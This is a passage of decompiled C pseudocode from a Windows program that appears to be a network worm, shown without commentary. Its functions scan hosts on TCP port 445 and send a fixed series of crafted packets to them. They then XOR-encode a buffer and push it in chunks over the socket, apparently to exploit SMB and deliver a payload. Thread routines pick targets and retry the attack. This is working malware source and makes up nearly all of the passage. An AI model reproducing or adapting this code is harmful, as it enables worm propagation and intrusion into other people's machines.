  3569.     *(int16_t *)&g993 = 0;
  3570.     g994 = 9;
  3571.     g995 = v3;
  3572.     memcpy((char *)&g996, (char *)&g59, 288);
  3573.     g997 = -0x30000000;
  3574.     g998 = 0x3f16ac94;
  3575.     *(int16_t *)&g999 = 0;
  3576.     g1000 = 10;
  3577.     g1001 = v3;
  3578.     memcpy((char *)&g1002, (char *)&g59, 288);
  3579.     g1003 = -0x2c000000;
  3580.     g1004 = 0x3f393a74;
  3581.     *(int16_t *)&g1005 = 0;
  3582.     g1006 = 11;
  3583.     g1007 = v3;
  3584.     memcpy((char *)&g1008, (char *)&g59, 288);
  3585.     g1009 = -0x60000000;
  3586.     g1010 = 0x3f0c14b3;
  3587.     *(int16_t *)&g1011 = 0;
  3588.     g1012 = 12;
  3589.     g1013 = v3;
  3590.     memcpy((char *)&g1014, (char *)&g59, 288);
  3591.     g1015 = 0x10000000;
  3592.     g1016 = 0x3f202237;
  3593.     *(int16_t *)&g1017 = 0;
  3594.     g1018 = 13;
  3595.     g1019 = v3;
  3596.     memcpy((char *)&g1020, (char *)&g59, 288);
  3597.     g1021 = -0x1e800000;
  3598.     g1022 = 0x3f673c0f;
  3599.     *(int16_t *)&g1023 = 0;
  3600.     g1024 = 14;
  3601.     g1025 = v3;
  3602.     memcpy((char *)&g1026, (char *)&g59, 288);
  3603.     g1027 = 0x2e000000;
  3604.     g1028 = 0x3f40e4f9;
  3605.     *(int16_t *)&g1029 = 0;
  3606.     g1030 = 15;
  3607.     g1031 = v3;
  3608.     memcpy((char *)&g1032, (char *)&g59, 288);
  3609.     g1033 = 0;
  3610.     g1034 = 0x3f1742a3;
  3611.     *(int16_t *)&g1035 = 0;
  3612.     g1036 = 17;
  3613.     g1037 = v3;
  3614.     memcpy((char *)&g1038, (char *)&g59, 288);
  3615.     g1039 = 0;
  3616.     g1040 = 0x3f07de43;
  3617.     *(int16_t *)&g1041 = 0;
  3618.     g1042 = 18;
  3619.     g1043 = v3;
  3620.     memcpy((char *)&g1044, (char *)&g59, 288);
  3621.     g1045 = 0x28000000;
  3622.     g1046 = 0x3f2f0189;
  3623.     *(int16_t *)&g1047 = 0;
  3624.     g1048 = 19;
  3625.     g1049 = v3;
  3626.     memcpy((char *)&g1050, (char *)&g59, 288);
  3627.     g1051 = 0x70000000;
  3628.     g1052 = 0x3f34b109;
  3629.     *(int16_t *)&g1053 = 0;
  3630.     g1054 = 20;
  3631.     g1055 = v3;
  3632.     memcpy((char *)&g1056, (char *)&g59, 288);
  3633.     g1057 = 0x74000000;
  3634.     g1058 = 0x3f4ab21d;
  3635.     *(int16_t *)&g1059 = 0;
  3636.     g1060 = 21;
  3637.     g1061 = v3;
  3638.     memcpy((char *)&g1062, (char *)&g59, 288);
  3639.     g1063 = -0x5c000000;
  3640.     g1064 = 0x3f40f76d;
  3641.     int16_t v8 = v1; // 0x406aed
  3642.     *(int16_t *)&g1065 = v8;
  3643.     g1066 = v1;
  3644.     g1067 = 0xea16800;
  3645.     g1068 = 0x4023ef72;
  3646.     *(int16_t *)&g1069 = v8;
  3647.     g1070 = 4;
  3648.     g1071 = 0x8000000;
  3649.     g1072 = 0x3f20c1b3;
  3650.     *(int16_t *)&g1073 = v8;
  3651.     g1074 = 5;
  3652.     g1075 = 0x1d000000;
  3653.     g1076 = 0x3f565f79;
  3654.     *(int16_t *)&g1077 = v8;
  3655.     g1078 = 6;
  3656.     g1079 = 0;
  3657.     g1080 = 0x3f11a931;
  3658.     *(int16_t *)&g1081 = v8;
  3659.     g1082 = 7;
  3660.     g1083 = 0;
  3661.     g1084 = 0x3f1216ea;
  3662.     *(int16_t *)&g1085 = v8;
  3663.     g1086 = 8;
  3664.     g1087 = 0x4a000000;
  3665.     g1088 = 0x3f72d7f5;
  3666.     *(int16_t *)&g1089 = v8;
  3667.     g1090 = 9;
  3668.     g1091 = -0x20000000;
  3669.     g1092 = 0x3f0b5bbf;
  3670.     *(int16_t *)&g1093 = v8;
  3671.     g1094 = 10;
  3672.     g1095 = 0x20000000;
  3673.     g1096 = 0x3f0d5627;
  3674.     *(int16_t *)&g1097 = v8;
  3675.     g1098 = 11;
  3676.     g1099 = 0;
  3677.     g1100 = 0x3f0f98c4;
  3678.     *(int16_t *)&g1101 = v8;
  3679.     g1102 = 12;
  3680.     g1103 = -0x40000000;
  3681.     g1104 = 0x3f008019;
  3682.     *(int16_t *)&g1105 = v8;
  3683.     g1106 = 13;
  3684.     g1107 = -0x80000000;
  3685.     g1108 = 0x3f02cd2e;
  3686.     *(int16_t *)&g1109 = v8;
  3687.     g1110 = 14;
  3688.     g1111 = -0x80000000;
  3689.     g1112 = 0x3efe0e2a;
  3690.     *(int16_t *)&g1113 = v8;
  3691.     g1114 = 15;
  3692.     g1115 = -0x80000000;
  3693.     g1116 = 0x3eff8be1;
  3694.     *(int16_t *)&g1117 = v8;
  3695.     g1118 = 17;
  3696.     g1119 = -0x74400000;
  3697.     g1120 = 0x3f760747;
  3698.     *(int16_t *)&g1121 = 0;
  3699.     g1122 = g6;
  3700.     g1123 = 124;
  3701.     memcpy((char *)&g1124, (char *)&g60, 20);
  3702.     *(char *)&g1124 = *(char *)&g60;
  3703.     g1125 = 0x7e680000;
  3704.     g1126 = 0x3fbf1459;
  3705.     *(int16_t *)&g1127 = (int16_t)g6;
  3706.     g1128 = g6;
  3707.     g1129 = 0x65200000;
  3708.     g1130 = 0x3f88dd14;
  3709.     *(int16_t *)&g1131 = 0;
  3710.     g1132 = g6;
  3711.     g1133 = 81;
  3712.     memcpy((char *)&g1134, (char *)&g61, 20);
  3713.     *(char *)&g1134 = *(char *)&g61;
  3714.     g1135 = 0x20000000;
  3715.     g1136 = 0x3f12bc9b;
  3716.     int16_t v9 = v1; // 0x406d88
  3717.     *(int16_t *)&g1137 = v9;
  3718.     g1138 = 18;
  3719.     g1139 = -0x40000000;
  3720.     g1140 = 0x3f0c1abd;
  3721.     *(int16_t *)&g1141 = v9;
  3722.     g1142 = 19;
  3723.     g1143 = -0x40000000;
  3724.     g1144 = 0x3ef76f43;
  3725.     *(int16_t *)&g1145 = v9;
  3726.     g1146 = 20;
  3727.     g1147 = -0x80000000;
  3728.     g1148 = 0x3f045e39;
  3729.     *(int16_t *)&g1149 = v9;
  3730.     g1150 = 21;
  3731.     g1151 = 0x40000000;
  3732.     g1152 = 0x3ef6ad2f;
  3733.     *(int16_t *)&g1153 = (int16_t)g6;
  3734.     g1154 = g6;
  3735.     g1155 = 0x65200000;
  3736.     g1156 = 0x3f88dd14;
  3737.     *(int16_t *)&g1157 = 0;
  3738.     g1158 = g6;
  3739.     g1159 = 85;
  3740.     memcpy((char *)&g1160, (char *)&g62, 21);
  3741.     *(char *)&g1160 = *(char *)&g62;
  3742.     g1161 = 0xac00000;
  3743.     g1162 = 0x3f837956;
  3744.     *(int16_t *)&g1163 = (int16_t)g6;
  3745.     g1164 = g6;
  3746.     g1165 = 0x3c800000;
  3747.     g1166 = 0x3f8441dd;
  3748.     *(int16_t *)&g1167 = (int16_t)v1;
  3749.     g1168 = g6;
  3750.     g1169 = -0x58e00000;
  3751.     g1170 = 0x3f855ec8;
  3752.     int32_t v10;
  3753.     g2 = v10;
  3754.     return 0;
  3755. }
  3756.  
  3757. // Address range: 0x406eb0 - 0x406ecf
  3758. int32_t function_406eb0(int32_t a1) {
  3759.     // 0x406eb0
  3760.     int32_t v1;
  3761.     if (v1 == 0) {
  3762.         // 0x406eba
  3763.         g1 = 1;
  3764.         return 1;
  3765.     }
  3766.     // 0x406ec0
  3767.     g1 = 0;
  3768.     return 0;
  3769. }
  3770.  
  3771. // Address range: 0x406ed0 - 0x406eff
  3772. int32_t function_406ed0(int32_t a1) {
  3773.     int32_t result = llvm_bswap_i32(a1) ^ 2 * a1; // 0x406efd
  3774.     g1 = result;
  3775.     return result;
  3776. }
  3777.  
  3778. // Address range: 0x406f00 - 0x406f4f
  3779. int32_t function_406f00(int32_t a1, int32_t a2, uint32_t a3, int32_t a4) {
  3780.     int32_t v1 = g7; // 0x406f07
  3781.     int32_t v2 = 0; // eax
  3782.     if (a3 <= 0) {
  3783.         // 0x406f47
  3784.         g7 = v1;
  3785.         return 0;
  3786.     }
  3787.     int32_t v3 = g3; // 0x406f1e
  3788.     int32_t v4 = 0; // 0x406f37
  3789.     // branch -> 0x406f1f
  3790.     while (true) {
  3791.         int32_t v5 = v4 & -0x7ffffffd; // 0x406f2e
  3792.         if (v4 <= 0) {
  3793.             // 0x406f29
  3794.             v5 = (v4 + 3 | -4) + 1;
  3795.             // branch -> 0x406f2e
  3796.         }
  3797.         unsigned char v6 = *(char *)(v5 + 8 + g8); // 0x406f2e
  3798.         char * v7 = (char *)(a2 + v4); // 0x406f32_0
  3799.         int32_t v8 = (g3 & -256 | (int32_t)*v7) ^ (int32_t)v6; // 0x406f35
  3800.         g3 = v8;
  3801.         *v7 = (char)v8;
  3802.         int32_t v9 = v2 + 1; // 0x406f3a
  3803.         v2 = v9;
  3804.         if (v9 >= a3) {
  3805.             // break -> 0x406f3f
  3806.             break;
  3807.         }
  3808.         v4 = v9;
  3809.         // continue -> 0x406f1f
  3810.     }
  3811.     // 0x406f3f
  3812.     g3 = v3;
  3813.     g7 = v1;
  3814.     return 0;
  3815. }
  3816.  
  3817. // Address range: 0x406f50 - 0x40729f
  3818. int32_t function_406f50(int32_t a1, int32_t a2, char * a3, char * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, int32_t a16, int32_t a17, int32_t a18, int32_t a19, int32_t a20, int32_t a21, int32_t a22, int32_t a23, int32_t a24, int32_t a25, int32_t a26, int32_t a27, int32_t a28, int32_t a29) {
  3819.     g1 = 0x20e4;
  3820.     int32_t v1;
  3821.     function_409860(v1);
  3822.     int32_t v2 = g7; // 0x406f5c
  3823.     int32_t v3 = g5; // bp-16
  3824.     int16_t * buf = NULL; // bp+28
  3825.     int32_t v4;
  3826.     memset((char *)&v4, 0, 1073);
  3827.     v4 = 0;
  3828.     *(char *)((int32_t)&v4 | 2) = 0;
  3829.     int32_t buf2 = 0; // 0x4324
  3830.     int32_t v5;
  3831.     memset((char *)&v5, 0, 1023);
  3832.     v5 = 0;
  3833.     *(char *)((int32_t)&v5 | 2) = 0;
  3834.     char * v6 = NULL;
  3835.     int32_t v7;
  3836.     int32_t v8;
  3837.     int32_t v9;
  3838.     int32_t v10;
  3839.     if (v7 == 0) {
  3840.         // 0x406fd4
  3841.         v10 = g1174;
  3842.         v9 = 0x1800;
  3843.         v8 = &g633;
  3844.         // branch -> 0x406fe4
  3845.     } else {
  3846.         // 0x406fc2
  3847.         v10 = (int32_t)g1173;
  3848.         v9 = 0x1305;
  3849.         v8 = &g615;
  3850.         // branch -> 0x406fe4
  3851.     }
  3852.     // 0x406fe4
  3853.     g3 = v9;
  3854.     int32_t v11 = v8; // ebp
  3855.     char * hMem = GlobalAlloc(64, v9 + 12 + v8); // 0x406feb
  3856.     int32_t v12 = (int32_t)hMem; // 0x406feb_6
  3857.     int32_t v13 = v12; // eax
  3858.     if (hMem == NULL) {
  3859.         // 0x407292
  3860.         g7 = v2;
  3861.         return 0;
  3862.     }
  3863.     uint32_t v14 = v11; // 0x406ffd
  3864.     char * v15 = (char *)(g3 + v12);
  3865.     memcpy(v15, (char *)v10, v14 / 4);
  3866.     memcpy(v15, (char *)v10, v14 & 3);
  3867.     int32_t v16 = g3; // 0x407010
  3868.     int32_t v17 = v11; // 0x407010
  3869.     int32_t v18 = v17 + v16; // 0x407010
  3870.     int32_t v19;
  3871.     int32_t v20; // 0x407030
  3872.     int32_t v21;
  3873.     int32_t v22;
  3874.     int32_t v23;
  3875.     uint32_t v24;
  3876.     char * v25;
  3877.     char * v26;
  3878.     char * v27;
  3879.     uint32_t v28; // 0x4071c7
  3880.     uint32_t v29; // 0x407231
  3881.     int32_t sock; // 0x407166
  3882.     int32_t sock2; // 0x40725a
  3883.     int32_t v30; // 0x4071b951
  3884.     if (v18 > 0) {
  3885.         // 0x407022
  3886.         if ((v18 & -0x7ffffffd) != 0) {
  3887.             // 0x40702a
  3888.             v20 = (v18 >> 31 & 3) + v18;
  3889.             v13 = v12;
  3890.             v19 = v20 - v20 % 4 + 4;
  3891.             // branch -> 0x407044
  3892.         } else {
  3893.             v19 = v18;
  3894.         }
  3895.         // 0x407044
  3896.         v26 = (char *)v19;
  3897.         if (v7 == 0) {
  3898.             // 0x407074
  3899.             g7 = &g102;
  3900.             g103 = v17 + 3978;
  3901.             *(int32_t *)(v16 + (int32_t)&g100) = v17;
  3902.             *(int32_t *)(g3 + (int32_t)&g101) = 1;
  3903.             // branch -> 0x407097
  3904.         } else {
  3905.             // 0x40704f
  3906.             g7 = (int32_t)&g98;
  3907.             *(int32_t *)&g99 = v17 + 3440;
  3908.             *(int32_t *)(v16 + (int32_t)&g96) = v17;
  3909.             *(int32_t *)(g3 + (int32_t)&g97) = 1;
  3910.             // branch -> 0x407097
  3911.         }
  3912.         // 0x407097
  3913.         v24 = g3;
  3914.         v27 = (char *)v13;
  3915.         memcpy(v27, (char *)g7, v24 / 4);
  3916.         memcpy(v27, (char *)g7, v24 & 3);
  3917.         function_406f00(v23, v13, v19, v3);
  3918.         g3 = ((v19 >> 31 & 4095) + v19) / 0x1000;
  3919.         v11 = v19 & -0x7ffff001;
  3920.         if (v19 <= 0) {
  3921.             // 0x4070d9
  3922.             v11 = (v19 + 4095 | -0x1000) + 1;
  3923.             // branch -> 0x4070e1
  3924.         }
  3925.         // 0x4070e1
  3926.         memcpy((char *)&buf, (char *)&g91, 17);
  3927.         buf = (int16_t *)(int32_t)*(int16_t *)&g91;
  3928.         g7 = 0;
  3929.         if (g3 > 0) {
  3930.             // 0x40710b
  3931.             v30 = 0;
  3932.             // branch -> 0x40710b
  3933.             while (true) {
  3934.                 // 0x40710b
  3935.                 v6 = v26;
  3936.                 function_406f00(v23, (int32_t)&v6, 12, v3);
  3937.                 memcpy((char *)&v21, (char *)(g7 + v12), 1024);
  3938.                 sock = v22;
  3939.                 g7 = sock;
  3940.                 if (send(sock, (char *)&buf, 0x1052, 0) != -1) {
  3941.                   lab_0x407184_2:
  3942.                     // 0x407184
  3943.                     if (recv(g7, (char *)&buf2, 0x1000, 0) != -1) {
  3944.                         // 0x40719e
  3945.                         int32_t v31;
  3946.                         if ((char)v31 == 82) {
  3947.                             int32_t v32 = v30 + 1; // 0x4071b0
  3948.                             if (v32 < g3) {
  3949.                                 // 0x407107
  3950.                                 g7 = *(int32_t *)((int32_t)&v3 + 36);
  3951.                                 v30 = v32;
  3952.                                 // branch -> 0x40710b
  3953.                                 continue;
  3954.                             }
  3955.                         }
  3956.                     }
  3957.                 }
  3958.             }
  3959.         }
  3960.         // 0x4071c7
  3961.         v28 = v11;
  3962.         if (v28 >= 1) {
  3963.             // 0x4071cf
  3964.             htons((int16_t)(v28 + 78));
  3965.             g3 *= 0x1000;
  3966.             v6 = v26;
  3967.             function_406f00(v23, (int32_t)&v6, 12, v3);
  3968.             v29 = v11;
  3969.             v25 = (char *)(g3 + v12);
  3970.             memcpy((char *)&v21, v25, v29 / 4);
  3971.             memcpy((char *)&v21, v25, v29 & 3);
  3972.             sock2 = v22;
  3973.             if (send(sock2, (char *)&buf, v11 + 82, 0) != -1) {
  3974.                 // 0x407272
  3975.                 recv(sock2, (char *)&buf2, 0x1000, 0);
  3976.                 // branch -> 0x407287
  3977.             }
  3978.         }
  3979.         // 0x407287
  3980.         GlobalFree(hMem);
  3981.         // branch -> 0x407292
  3982.         // 0x407292
  3983.         g7 = v2;
  3984.         return 0;
  3985.     }
  3986.     // 0x40701d
  3987.     if ((v18 + 3 || -4) != -1) {
  3988.         // 0x40702a
  3989.         v20 = (v18 >> 31 & 3) + v18;
  3990.         v13 = v12;
  3991.         v19 = v20 - v20 % 4 + 4;
  3992.         // branch -> 0x407044
  3993.     } else {
  3994.         v19 = v18;
  3995.     }
  3996.     // 0x407044
  3997.     v26 = (char *)v19;
  3998.     if (v7 == 0) {
  3999.         // 0x407074
  4000.         g7 = &g102;
  4001.         g103 = v17 + 3978;
  4002.         *(int32_t *)(v16 + (int32_t)&g100) = v17;
  4003.         *(int32_t *)(g3 + (int32_t)&g101) = 1;
  4004.         // branch -> 0x407097
  4005.     } else {
  4006.         // 0x40704f
  4007.         g7 = (int32_t)&g98;
  4008.         *(int32_t *)&g99 = v17 + 3440;
  4009.         *(int32_t *)(v16 + (int32_t)&g96) = v17;
  4010.         *(int32_t *)(g3 + (int32_t)&g97) = 1;
  4011.         // branch -> 0x407097
  4012.     }
  4013.     // 0x407097
  4014.     v24 = g3;
  4015.     v27 = (char *)v13;
  4016.     memcpy(v27, (char *)g7, v24 / 4);
  4017.     memcpy(v27, (char *)g7, v24 & 3);
  4018.     function_406f00(v23, v13, v19, v3);
  4019.     g3 = ((v19 >> 31 & 4095) + v19) / 0x1000;
  4020.     v11 = v19 & -0x7ffff001;
  4021.     if (v19 <= 0) {
  4022.         // 0x4070d9
  4023.         v11 = (v19 + 4095 | -0x1000) + 1;
  4024.         // branch -> 0x4070e1
  4025.     }
  4026.     // 0x4070e1
  4027.     memcpy((char *)&buf, (char *)&g91, 17);
  4028.     buf = (int16_t *)(int32_t)*(int16_t *)&g91;
  4029.     g7 = 0;
  4030.     if (g3 > 0) {
  4031.         int32_t v33 = (int32_t)&v6;
  4032.         v30 = 0;
  4033.         // branch -> 0x40710b
  4034.         while (true) {
  4035.             // 0x40710b
  4036.             v6 = v26;
  4037.             function_406f00(v23, v33, 12, v3);
  4038.             memcpy((char *)&v21, (char *)(g7 + v12), 1024);
  4039.             sock = v22;
  4040.             g7 = sock;
  4041.             if (send(sock, (char *)&buf, 0x1052, 0) != -1) {
  4042.                 goto lab_0x407184_2;
  4043.             }
  4044.             // 0x4071c7
  4045.             v28 = v11;
  4046.             if (v28 >= 1) {
  4047.                 // 0x4071cf
  4048.                 htons((int16_t)(v28 + 78));
  4049.                 g3 *= 0x1000;
  4050.                 v6 = v26;
  4051.                 function_406f00(v23, (int32_t)&v6, 12, v3);
  4052.                 v29 = v11;
  4053.                 v25 = (char *)(g3 + v12);
  4054.                 memcpy((char *)&v21, v25, v29 / 4);
  4055.                 memcpy((char *)&v21, v25, v29 & 3);
  4056.                 sock2 = v22;
  4057.                 if (send(sock2, (char *)&buf, v11 + 82, 0) != -1) {
  4058.                     // 0x407272
  4059.                     recv(sock2, (char *)&buf2, 0x1000, 0);
  4060.                     // branch -> 0x407287
  4061.                     // 0x407287
  4062.                     GlobalFree(hMem);
  4063.                     // branch -> 0x407292
  4064.                     // 0x407292
  4065.                     g7 = v2;
  4066.                     return 0;
  4067.                 }
  4068.             }
  4069.             // 0x407287
  4070.             GlobalFree(hMem);
  4071.             // branch -> 0x407292
  4072.             // 0x407292
  4073.             g7 = v2;
  4074.             return 0;
  4075.         }
  4076.     }
  4077.     // 0x4071c7
  4078.     v28 = v11;
  4079.     if (v28 >= 1) {
  4080.         // 0x4071cf
  4081.         htons((int16_t)(v28 + 78));
  4082.         g3 *= 0x1000;
  4083.         v6 = v26;
  4084.         function_406f00(v23, (int32_t)&v6, 12, v3);
  4085.         v29 = v11;
  4086.         v25 = (char *)(g3 + v12);
  4087.         memcpy((char *)&v21, v25, v29 / 4);
  4088.         memcpy((char *)&v21, v25, v29 & 3);
  4089.         sock2 = v22;
  4090.         if (send(sock2, (char *)&buf, v11 + 82, 0) != -1) {
  4091.             // 0x407272
  4092.             recv(sock2, (char *)&buf2, 0x1000, 0);
  4093.             // branch -> 0x407287
  4094.         }
  4095.     }
  4096.     // 0x407287
  4097.     GlobalFree(hMem);
  4098.     // branch -> 0x407292
  4099.     // 0x407292
  4100.     g7 = v2;
  4101.     return 0;
  4102. }
  4103.  
  4104. // Address range: 0x4072a0 - 0x40747f
  4105. int32_t function_4072a0(char * cp, int32_t a2, int32_t host_short) {
  4106.     int32_t v1 = g3; // 0x4072a6
  4107.     int32_t v2 = g7; // 0x4072a7
  4108.     int32_t v3 = g5; // bp-1064
  4109.     int32_t buf = 0; // bp-1024
  4110.     int32_t addr = 2; // bp-1048
  4111.     int32_t v4;
  4112.     memset((char *)&v4, 0, 255);
  4113.     v4 = 0;
  4114.     *(char *)((int32_t)&v4 | 2) = 0;
  4115.     int32_t v5 = inet_addr(cp); // 0x4072cd
  4116.     htons((int16_t)host_short);
  4117.     int32_t sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // 0x4072ee
  4118.     g7 = sock_fd;
  4119.     if (sock_fd == -1) {
  4120.         // 0x40746c
  4121.         return 0;
  4122.     }
  4123.     // 0x4072fe
  4124.     if (connect(sock_fd, (struct sockaddr *)&addr, 16) == -1 || send(g7, (char *)&g76, 137, 0) == -1 || recv(g7, (char *)&buf, 1024, 0) == -1 || send(g7, (char *)&g77, 140, 0) == -1 || recv(g7, (char *)&buf, 1024, 0) == -1) {
  4125.         // 0x407466
  4126.         closesocket(g7);
  4127.         // branch -> 0x40746c
  4128.         // 0x40746c
  4129.         return 0;
  4130.     }
  4131.     // 0x407380
  4132.     int32_t v6;
  4133.     *(char *)&g79 = (char)v6;
  4134.     int32_t v7;
  4135.     char v8 = v7; // 0x40739c
  4136.     g80[0] = v8;
  4137.     if (send(g7, (char *)&g78, 96, 0) == -1 || recv(g7, (char *)&buf, 1024, 0) == -1) {
  4138.         // 0x407466
  4139.         closesocket(g7);
  4140.         // branch -> 0x40746c
  4141.         // 0x40746c
  4142.         return 0;
  4143.     }
  4144.     // 0x4073ca
  4145.     int32_t v9;
  4146.     char v10 = v9; // 0x4073e0
  4147.     *(char *)&g82 = v10;
  4148.     int32_t v11;
  4149.     char v12 = v11; // 0x4073e5
  4150.     *(char *)&g83 = v12;
  4151.     char v13 = g3 & -256 | v6 & 255; // 0x4073eb
  4152.     *(char *)&g84 = v13;
  4153.     g85[0] = v8;
  4154.     *(char *)&g92 = v10;
  4155.     *(char *)&g93 = v12;
  4156.     *(char *)&g94 = v13;
  4157.     g95[0] = v8;
  4158.     if (send(g7, (char *)&g81, 82, 0) == -1) {
  4159.         // 0x407466
  4160.         closesocket(g7);
  4161.         // branch -> 0x40746c
  4162.         // 0x40746c
  4163.         return 0;
  4164.     }
  4165.     // 0x407418
  4166.     if (recv(g7, (char *)&buf, 1024, 0) != -1) {
  4167.         // 0x40742f
  4168.         int32_t v14;
  4169.         if ((char)v14 == 81) {
  4170.             // 0x407436
  4171.             int32_t v15;
  4172.             g5 = v15;
  4173.             int32_t v16 = function_406eb0(v15); // 0x407446
  4174.             g3 = v16;
  4175.             int32_t v17;
  4176.             int32_t v18;
  4177.             function_406f50(g7, v16, (char *)function_406ed0(v15), (char *)a2, (int32_t)(char *)v15, (int32_t)(struct sockaddr *)v15, (int32_t)(char *)v17, v3, v2, v1, v18, addr, v5, 0, 0, 0, v17, buf, 0, 0, 0, 0, 0, 0, v9, v6, 0, 0, 0);
  4178.             // branch -> 0x407466
  4179.         }
  4180.     }
  4181.     // 0x407466
  4182.     closesocket(g7);
  4183.     // branch -> 0x40746c
  4184.     // 0x40746c
  4185.     return 0;
  4186. }
  4187.  
  4188. // Address range: 0x407480 - 0x40753f
  4189. int32_t function_407480(int32_t a1) {
  4190.     g4 = a1;
  4191.     int32_t v1 = g5; // bp-296
  4192.     int32_t type = 1; // edi
  4193.     int32_t v2 = 1; // bp-272
  4194.     int32_t addr = 2; // bp-288
  4195.     htons(445);
  4196.     int32_t sock_fd = socket(AF_INET, type, IPPROTO_TCP); // 0x4074ca
  4197.     if (sock_fd == -1) {
  4198.         // 0x4074d6
  4199.         g5 = v1;
  4200.         g1 = 0;
  4201.         return 0;
  4202.     }
  4203.     // 0x4074e1
  4204.     ioctlsocket(sock_fd, -0x7ffb9982, &v2);
  4205.     int32_t writefds = type;
  4206.     int32_t timeout = type;
  4207.     connect(sock_fd, (struct sockaddr *)&addr, 16);
  4208.     g4 = &timeout;
  4209.     g6 = &writefds;
  4210.     int32_t result = select(0, NULL, (struct fd_set *)&writefds, NULL, (struct timeval *)&timeout); // 0x407522
  4211.     closesocket(sock_fd);
  4212.     g1 = result;
  4213.     g5 = v1;
  4214.     return result;
  4215. }
  4216.  
  4217. // Address range: 0x407540 - 0x40761f
  4218. int32_t function_407540(char * a1, int32_t a2, int32_t a3) {
  4219.     struct in_addr in; // 0x407567
  4220.     int32_t v1 = g7; // bp-264
  4221.     int32_t v2 = g5; // bp-268
  4222.     int32_t v3 = &v2; // 0x407547_0
  4223.     int32_t v4;
  4224.     int32_t v5 = &v4; // 0x40754f_0
  4225.     int32_t str = 0; // bp-260
  4226.     memset((char *)&v4, 0, 64);
  4227.     v4 = 0;
  4228.     *(char *)(v5 | 2) = 0;
  4229.     g5 = v5 | 3;
  4230.     in = (struct in_addr){
  4231.         .e0 = 0
  4232.     };
  4233.     in.e0 = (int32_t)a1;
  4234.     char * str2 = inet_ntoa(in); // 0x407567
  4235.     strncpy((char *)&str, str2, 16);
  4236.     int32_t v6 = function_401980((struct sockaddr *)&str, 445); // 0x407582
  4237.     g1 = v6;
  4238.     int32_t v7 = *(int32_t *)0x40a0a4; // 0x407587
  4239.     g7 = v7;
  4240.     g1182 = v6 == 0;
  4241.     char * v8;
  4242.     if (v6 == 0) {
  4243.         // 0x407540
  4244.         v8 = (char *)&v1;
  4245.         // branch -> 0x4075d4
  4246.     } else {
  4247.         // 0x407594
  4248.         g1182 = true;
  4249.         g5 = 0;
  4250.         // branch -> 0x407596
  4251.         while (true) {
  4252.             // 0x407596
  4253.             ((int32_t (*)(int32_t))v7)(3000);
  4254.             int32_t v9 = function_401b70((char *)&v1, 1, 445); // 0x4075a9
  4255.             g1 = v9;
  4256.             g1182 = v9 == 0;
  4257.             if (v9 == 0) {
  4258.                 // 0x4075b5
  4259.                 ((int32_t (*)(int32_t))g7)(3000);
  4260.                 g1 = function_401370(v3, 445, (int32_t)(char *)3000, (float64_t)(int64_t)3000, v2, v1, str, 0, 0, 0, 0, 0, 0, 0, 0, 0.0, 0, 0, 0, 0, 0, NULL, 0, 0, 0, 0, 0, 0);
  4261.                 int32_t v10 = g5; // 0x4075ce
  4262.                 int32_t v11 = v10 + 1; // 0x4075ce
  4263.                 g5 = v11;
  4264.                 g1182 = v10 == 4;
  4265.                 if (v11 < 5) {
  4266.                     // 0x4075b5
  4267.                     v7 = g7;
  4268.                     // branch -> 0x407596
  4269.                     continue;
  4270.                 }
  4271.             }
  4272.             // 0x4075d4
  4273.             // branch -> 0x4075d4
  4274.         }
  4275.     }
  4276.     // 0x4075d4
  4277.     ((int32_t (*)(int32_t))v7)(3000);
  4278.     int32_t v12 = function_401b70(v8, 1, 445); // 0x4075e7
  4279.     g5 = 3000;
  4280.     g7 = v2;
  4281.     if (v12 != 0) {
  4282.         // 0x4075f5
  4283.         v2 = 445;
  4284.         function_4072a0(v8, 1, 445);
  4285.         // branch -> 0x407609
  4286.     }
  4287.     // 0x407609
  4288.     v2 = 0;
  4289.     _endthreadex(0);
  4290.     return 0;
  4291. }
  4292.  
  4293. // Address range: 0x407620 - 0x40765f
  4294. int32_t function_407620(void) {
  4295.     // 0x407620
  4296.     g5 = 0xa638;
  4297.     g7 = 0;
  4298.     int32_t v1 = 0xa638; // 0x407644
  4299.     int32_t v2 = 0; // 0x40762a
  4300.     // branch -> 0x40762a
  4301.     while (true) {
  4302.         int32_t result = v2 != 0 ? (int32_t)"Microsoft Base Cryptographic Provider v1.0" : 0; // 0x407637
  4303.         g1182 = v2 == 0;
  4304.         g1 = result;
  4305.         int32_t v3 = &g1176; // bp-28
  4306.         ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t))v1)((int32_t)&g1176, 0, result, 1, -0x10000000);
  4307.         if (v2 != 0) {
  4308.             // 0x407650
  4309.             InitializeCriticalSection((struct _RTL_CRITICAL_SECTION *)&g106);
  4310.             g5 = v3;
  4311.             g7 = 0;
  4312.             return result;
  4313.         }
  4314.         int32_t v4 = g7 + 1; // 0x40764a
  4315.         g7 = v4;
  4316.         if (v4 >= 2) {
  4317.             // 0x407650
  4318.             InitializeCriticalSection((struct _RTL_CRITICAL_SECTION *)&g106);
  4319.             g5 = v3;
  4320.             g7 = 0;
  4321.             return result;
  4322.         }
  4323.         // 0x40764a
  4324.         v1 = g5;
  4325.         v2 = v4;
  4326.         // branch -> 0x40762a
  4327.     }
  4328. }
  4329.  
  4330. // Address range: 0x407660 - 0x4076af
  4331. int32_t function_407660(void) {
  4332.     if (g1176 == 0) {
  4333.         int32_t result = rand(); // 0x40766a
  4334.         g1 = result;
  4335.         return result;
  4336.     }
  4337.     // 0x407672
  4338.     EnterCriticalSection((struct _RTL_CRITICAL_SECTION *)&g106);
  4339.     int32_t pbBuffer;
  4340.     CryptGenRandom(g1176, 4, (char *)&pbBuffer);
  4341.     LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)&g106);
  4342.     g1 = pbBuffer;
  4343.     return pbBuffer;
  4344. }
  4345.  
  4346. // Address range: 0x4076b0 - 0x40771f
  4347. int32_t function_4076b0(char * a1) {
  4348.     int32_t v1 = (int32_t)a1;
  4349.     g7 = v1;
  4350.     if (function_407480(v1) < 1) {
  4351.         // 0x407702
  4352.         InterlockedDecrement((int32_t *)&g1175);
  4353.         _endthreadex(0);
  4354.         return 0;
  4355.     }
  4356.     int32_t hHandle = _beginthreadex(NULL, 0, (int32_t (**)(char *))function_407540, (char *)g7, 0, NULL); // 0x4076d0
  4357.     if (hHandle == 0) {
  4358.         // 0x407702
  4359.         InterlockedDecrement((int32_t *)&g1175);
  4360.         _endthreadex(0);
  4361.         return 0;
  4362.     }
  4363.     // 0x4076df
